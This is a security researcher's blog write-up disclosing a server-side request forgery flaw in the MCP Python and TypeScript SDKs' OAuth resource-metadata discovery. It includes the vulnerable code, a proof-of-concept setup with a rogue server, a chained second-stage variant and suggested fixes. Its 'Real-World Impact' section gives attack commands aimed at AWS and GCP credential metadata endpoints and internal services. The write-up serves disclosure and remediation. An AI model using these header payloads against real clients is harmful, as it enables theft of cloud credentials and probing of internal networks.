MCP SSRF via OAuth PRM Discovery: How a 401 Turns Your Client Into a Proxy#
Second article in my MCP security research series. After looking at the icon rendering surface, I dug into the OAuth authentication layer and found a way to turn any MCP client into a blind SSRF proxy with a single HTTP header.
Context and Disclosure#
This was submitted to Anthropic’s Vulnerability Disclosure Program and closed as a duplicate — meaning the vulnerability is real, already known, and being tracked. No embargo, no patch yet, so here are the full details.
Table of Contents#
- TL;DR
- Background: OAuth in MCP
- The Vulnerability
- Vulnerable Code: Python SDK
- Vulnerable Code: TypeScript SDK
- Attack Flow
- Proof of Concept
- Chaining to a Second Target
- Real-World Impact
- Why This Is a Bug, Not a Design Choice
- Suggested Fix
- Conclusion
TL;DR#
A malicious MCP server returns a 401 Unauthorized with a single crafted header:
WWW-Authenticate: Bearer resource_metadata="http://169.254.169.254/latest/meta-data/"The SDK parses this and immediately fetches that URL — without checking that it belongs to the same origin as the server. Blind SSRF, one header, zero interaction beyond connecting.
Both the Python and TypeScript SDKs are affected. Claude Desktop, Claude Code, and any client built on the official SDKs are vulnerable when connecting to an untrusted server.
Background: OAuth in MCP#
The MCP specification added OAuth 2.0 support for authenticating clients to servers. The flow follows RFC 9728: OAuth 2.0 Protected Resource Metadata.
Here’s how the discovery phase works in the normal, legitimate case:
- Client connects to an MCP server
- Server responds
401 Unauthorizedwith aWWW-Authenticateheader - The header includes a
resource_metadataparameter pointing to a JSON document that describes where to find the OAuth authorization server - Client fetches that JSON document to discover the OAuth endpoints
- Client proceeds with the OAuth dance
This discovery step (fetching the resource_metadata URL) is where the vulnerability lives.
The spec says the resource_metadata URL should be on the same server as the MCP endpoint. The SDK never enforces that.
The Vulnerability: No Origin Validation Before Fetch#
The root cause is simple: the SDK fetches the resource_metadata URL before validating that it shares the same origin as the MCP server.
The validation code exists — _validate_resource_match() checks that the PRM response matches the expected resource. But it runs on the response body, after the HTTP request has already left the machine.
[Attacker injects URL] → [SDK fetches URL] → [_validate_resource_match() runs]
^
SSRF happens here
(before any validation)Vulnerable Code: Python SDK#
mcp/client/auth/utils.py — URL extraction with no origin check#
def build_protected_resource_metadata_discovery_urls(
www_auth_url: str | None, server_url: str
) -> list[str]:
urls: list[str] = []
# Priority 1: WWW-Authenticate header with resource_metadata parameter
if www_auth_url:
urls.append(www_auth_url) # ← attacker-controlled URL, zero validation
# ... fallback URLs based on server_url ...
return urlsThe function receives www_auth_url — the value extracted directly from the WWW-Authenticate header — and adds it to the fetch queue without any check against server_url.
mcp/client/auth/oauth2.py — the fetch itself#
for url in prm_discovery_urls: # includes the unvalidated attacker URL
discovery_request = create_oauth_metadata_request(url)
discovery_response = yield discovery_request # ← HTTP GET to arbitrary URL
prm = await handle_protected_resource_response(discovery_response)
if prm:
await self._validate_resource_match(prm) # runs AFTER the fetch — too late
self.context.auth_server_url = str(prm.authorization_servers[0]) # ← chained SSRFThe validation runs after the fetch, which is too late. And prm.authorization_servers[0] feeds into a second fetch, opening the door to chained SSRF (more on that below).
Vulnerable Code: TypeScript SDK#
packages/client/src/client/auth.ts — URL parsing without origin check#
if (resourceMetadataMatch) {
resourceMetadataUrl = new URL(resourceMetadataMatch); // No origin validation
}Same pattern as the Python SDK: parse header, store URL, fetch URL. No origin check anywhere in between.
Attack Flow#
┌──────────┐ 1. Connect ┌───────────────────────┐
│ Victim │ ──────────────────> │ Malicious MCP Server │
│ MCP │ │ (attacker.com/mcp) │
│ Client │ <────────────────── │ │
│ │ 2. 401 │ WWW-Authenticate: │
│ │ resource_metadata="http://169.254..." │
└──────────┘ └───────────────────────┘
│
│ 3. HTTP GET http://169.254.169.254/latest/meta-data/
│ (SDK fetches this — client never configured to contact it)
v
┌──────────────────────────────┐
│ Internal Target │
│ AWS IMDS / cloud metadata │
│ internal API / localhost │
└──────────────────────────────┘The server never needs to complete the OAuth flow or respond with valid MCP data. The SSRF fires on the very first connection attempt; the attacker just needs someone to add the server to their config.

Proof of Concept#
The PoC uses three components:
| Component | Role |
|---|---|
malicious_mcp_server.py | Returns 401 with resource_metadata pointing at the canary |
canary_server.py | Logs every incoming request — any hit here proves SSRF |
victim_client.py | Standard MCP client using SDK OAuth flow |
proof_standalone.py | Calls vulnerable SDK functions directly — no servers needed |
# Prerequisites
pip install mcp httpx
# Terminal 1 — canary (simulates internal service)
python canary_server.py -p 8888
# Terminal 2 — rogue MCP server
python malicious_mcp_server.py -t "http://localhost:8888/ssrf-proof" -p 8080
# Terminal 3 — victim (standard SDK usage)
python victim_client.py -s http://localhost:8080Rogue server — one 401, nothing else#

initialize request received, one 401 returned. No MCP data, no OAuth. That’s the entire server-side trace.
Client logs — the SDK fetches the injected URL#

resource_metadata from the 401 header and sent a GET to localhost:8888, a URL the client was never configured to contact.
httpcore.http11: receive_response_headers.complete
[..., (b'WWW-Authenticate',
b'Bearer resource_metadata="http://localhost:8888/ssrf-proof"')]
httpx: HTTP Request: GET http://localhost:8888/ssrf-proof "HTTP/1.0 200 OK"Canary confirms the hit#

mcp-protocol-version header is the SDK’s fingerprint, proof that this request came from the MCP OAuth discovery flow.
--- SSRF HIT ---
GET /ssrf-proof
from 127.0.0.1:33512
Host: localhost:8888
mcp-protocol-version: 2025-11-25
----------------Standalone proof — no infrastructure needed#
For a cleaner demonstration, proof_standalone.py calls the vulnerable SDK functions directly:

build_protected_resource_metadata_discovery_urls() directly: the attacker-controlled AWS metadata URL lands first in the fetch queue, ahead of the legitimate server’s discovery URL. Zero validation.
Chaining to a Second Target#
If the first SSRF target returns valid-looking PRM JSON, the attack chains further. The SDK takes authorization_servers[0] from the response and fetches <url>/.well-known/oauth-authorization-server, a second blind SSRF to a completely different internal host.
Rogue server → 401 with resource_metadata="http://attacker-prm.com/"
│
Client fetches PRM ───────────────────────────────┘
Returns: {"authorization_servers": ["http://10.0.0.50:9200"]}
│
Client fetches OAuth metadata ─────────────────┘
GET http://10.0.0.50:9200/.well-known/oauth-authorization-server
→ second-stage SSRF to internal ElasticsearchOne rogue server, two internal targets, zero interaction.
Real-World Impact#
In practice, the resource_metadata URL would point at high-value internal targets:
# AWS credentials (IMDSv1 — no token required)
python malicious_mcp_server.py -t "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# GCP metadata
python malicious_mcp_server.py -t "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"
# Internal Elasticsearch
python malicious_mcp_server.py -t "http://10.0.0.50:9200/_cluster/health"
# Localhost service probing
python malicious_mcp_server.py -t "http://localhost:6379/"The SSRF is blind by default, meaning the rogue server doesn’t see the response. But cloud metadata responses often come back as the OAuth discovery body, and in verbose logging mode (common during development), credentials can leak directly into logs. The chained variant is even more effective: if the internal service returns JSON, the SDK processes it and may expose fields through error messages or follow-up requests.
Why This Is a Bug, Not a Design Choice#
Unlike the icon sanitization gap where the spec deliberately uses MAY, the spec is explicit here: the resource_metadata URL MUST be hosted on the same server as the MCP endpoint.
The SDK developers knew this. _validate_resource_match() exists precisely for that purpose. It’s a sequencing error: the validation runs on the response body after the request completes, instead of on the URL before it’s fetched.
# Current (broken):
fetch(attacker_url) # SSRF happens
validate_response_body() # too late
# Correct:
validate_url_origin() # block it here
fetch(validated_url) # safe
validate_response_body() # defense in depthSuggested Fix#
Option 1: Origin validation before fetch#
The straightforward fix: validate that the URL shares the same scheme, host, and port as the MCP server before adding it to the fetch list:
def build_protected_resource_metadata_discovery_urls(
www_auth_url: str | None, server_url: str
) -> list[str]:
urls: list[str] = []
if www_auth_url:
server_parsed = urlparse(server_url)
www_auth_parsed = urlparse(www_auth_url)
if (server_parsed.scheme == www_auth_parsed.scheme and
server_parsed.netloc == www_auth_parsed.netloc):
urls.append(www_auth_url)
else:
logger.warning(
f"Ignoring resource_metadata URL {www_auth_url!r} — "
f"origin does not match server {server_url!r}"
)
# ... fallback URLs derived from server_url (safe) ...
return urlsTwo comparisons. Enforces what the spec already requires. Blocks every variant of this attack.
Option 2: Block private/internal IP ranges#
As defense in depth, reject URLs that resolve to private address space:
import ipaddress
BLOCKED_NETWORKS = [
ipaddress.ip_network("10.0.0.0/8"),
ipaddress.ip_network("172.16.0.0/12"),
ipaddress.ip_network("192.168.0.0/16"),
ipaddress.ip_network("169.254.0.0/16"), # link-local / IMDS
ipaddress.ip_network("127.0.0.0/8"),
ipaddress.ip_network("::1/128"),
ipaddress.ip_network("fc00::/7"),
]Note: IP blocklisting alone is insufficient. An attacker with a public hostname that DNS-rebinds to a private IP can bypass it. Origin validation is the correct primary fix.
Conclusion#
One header, one connection attempt, blind SSRF. No OAuth flow completed, no MCP tools invoked, no user interaction beyond adding the server to their config.
The fix is straightforward: validate the URL origin before fetching. The validation logic already exists in the codebase, just in the wrong order.
Both articles in this series point to the same broader pattern: the MCP ecosystem is moving fast, the attack surface is growing, and security assumptions that hold in trusted environments break down the moment you connect to an untrusted server. If you’re building on the MCP SDKs, treat every server as hostile by default.
Research and writeup by @felixbillieres (elliot_belt)






